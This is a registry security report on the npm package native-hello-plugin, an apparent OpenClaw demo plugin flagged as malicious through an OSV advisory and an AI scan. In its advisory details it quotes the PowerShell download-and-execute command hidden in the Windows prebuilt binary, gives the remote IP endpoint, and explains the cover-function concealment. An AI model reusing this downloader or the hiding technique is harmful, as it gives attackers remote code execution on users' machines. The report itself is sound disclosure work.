registry / Malware / native-hello-plugin

native-hello-plugin

Demo OpenClaw plugin that loads a compiled .node (N-API) addon implementing SHA-256 in C and logs a message on startup

This report shows the evidence for native-hello-plugin@1.2.0. 2 of 2 known versions are blocked or flagged. See all versions.

OpenSSF/OSV Malicious Advisory

imported 3mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13350 confirms this npm version as malicious.

Advisory

MAL-2026-13350

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in native-hello-plugin (npm)

Details

The shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

A hard-coded remote PowerShell downloader/executor in an auto-loaded native addon is not aligned with a SHA-256 demo. Its invocation is not confirmed, warranting a warning rather than a block.

Static reason

No blocking static signals were detected.

Trigger

OpenClaw activates the plugin on startup on win32-x64.

Impact

Potential remote code execution if the staged command is activated or reused.

Mechanism

Native addon carries an embedded remote PowerShell downloader/executor.

AI rationale

A hard-coded remote PowerShell downloader/executor in an auto-loaded native addon is not aligned with a SHA-256 demo. Its invocation is not confirmed, warranting a warning rather than a block.

Evidence

index.mjspackage.jsonopenclaw.plugin.jsonnative/prebuilds/win32-x64/hello.nodenative/prebuilds/linux-arm64/hello.nodenative/prebuilds/README.md

Network endpoints1

89.124.113.217:8000/update.ps1

Independent scan evidence

public snapshot

AI called this Suspicious at 94.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for AI warning decision

native/prebuilds/win32-x64/hello.node embeds a PowerShell iwr/iex command to http://89.124.113.217:8000/update.ps1.
The Windows addon imports msvcrt system and contains a code reference to the embedded command string.
index.mjs loads the platform native addon during OpenClaw startup registration.

Evidence against

package.json has no npm lifecycle scripts.
index.mjs only invokes native.sha256Hex with a fixed hello string.
Static inspection found no direct call site to the Windows addon's system import.
No network, file-harvesting, or config-writing code exists in the JavaScript entrypoint.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 1 file(s), 596 B of source

Source & flagged code

1 flagged

native/prebuilds/linux-arm64/hello.nodeView file

•path = native/prebuilds/linux-arm64/hello.node kind = native_binary sizeBytes = 70680 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

native/prebuilds/linux-arm64/hello.nodeView on unpkg

Source & flagged code

1 flagged · loading source

native/prebuilds/linux-arm64/hello.nodeView file

•path = native/prebuilds/linux-arm64/hello.node kind = native_binary sizeBytes = 70680 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

native/prebuilds/linux-arm64/hello.nodeView on unpkg

Findings

1 Medium1 Low

MediumShips Native Binarynative/prebuilds/linux-arm64/hello.node

LowNo License

Affected versions and remediation

This report applies to native-hello-plugin@1.2.0.

The versions list below shows the verdict for each recorded version.

Avoid installing native-hello-plugin@1.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 17:20:09.502Z (UTC).

Source advisory published: 2026-08-05 15:50:58.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.2.0latestshownMaliciousMalwareBlockPublishedJul 30, 2026, 6:02 AM 1.1.0MaliciousRemote Code ExecutionBlockPublishedJul 29, 2026, 8:04 AM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages